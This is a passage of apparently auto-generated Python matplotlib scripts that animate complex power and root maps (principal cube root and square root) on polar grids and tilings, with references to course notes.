    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (pw(z, 1/3))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^{1/3}_{\\mathrm{pr}}$'
TITLE = '$w=(1-s)\\,z+s\\,z^{1/3}_{\\mathrm{pr}},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.5, 5, -3.121592653589793, 3.121592653589793, 13)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal cube root $z^{1/3}_{\mathrm{pr}}$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Definition 10.2 and Theorem 10.3, p. 49 (ch10-power-root.tex:27, 39); Definition 10.4 and Proposition 10.5, p. 50 (ch10:93, 102)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1-2*s/3)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the slit plane closes onto the sector $|\\mathrm{Arg}\\,w|<\\pi/3$;\nthe two edges of the cut stay apart'
TITLE = '$w=z^{1-2s/3},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.5, 5, -3.121592653589793, 3.121592653589793, 13)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal cube root $z^{1/3}_{\mathrm{pr}}$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Definition 10.2 and Theorem 10.3, p. 49 (ch10-power-root.tex:27, 39); Definition 10.4 and Proposition 10.5, p. 50 (ch10:93, 102)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1-2*s/3)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the slit plane closes onto the sector $|\\mathrm{Arg}\\,w|<\\pi/3$; the two edges of the cut stay apart'
TITLE = '$w=z^{1-2s/3},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.2, 1.5, 4, -3.121592653589793, 3.121592653589793, 12)
HILITE = [25, 34]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal square root $\sqrt z$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 10.7, p. 51 (ch10:214); plate p. 50-51 (ch10:172); Example 18.6, p. 96 (ch18-complex-powers.tex:177)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (pw(z, 0.5))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $\\sqrt{z}$'
TITLE = '$w=(1-s)\\,z+s\\,\\sqrt{z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.6, 5, -3.121592653589793, 3.121592653589793, 13)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal square root $\sqrt z$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 10.7, p. 51 (ch10:214); plate p. 50-51 (ch10:172); Example 18.6, p. 96 (ch18-complex-powers.tex:177)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1-s/2)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the slit plane onto the right half-plane;\ncircles $|z|=\\rho$ onto semicircles $|w|=\\sqrt{\\rho}$'
TITLE = '$w=z^{1-s/2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.6, 5, -3.121592653589793, 3.121592653589793, 13)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
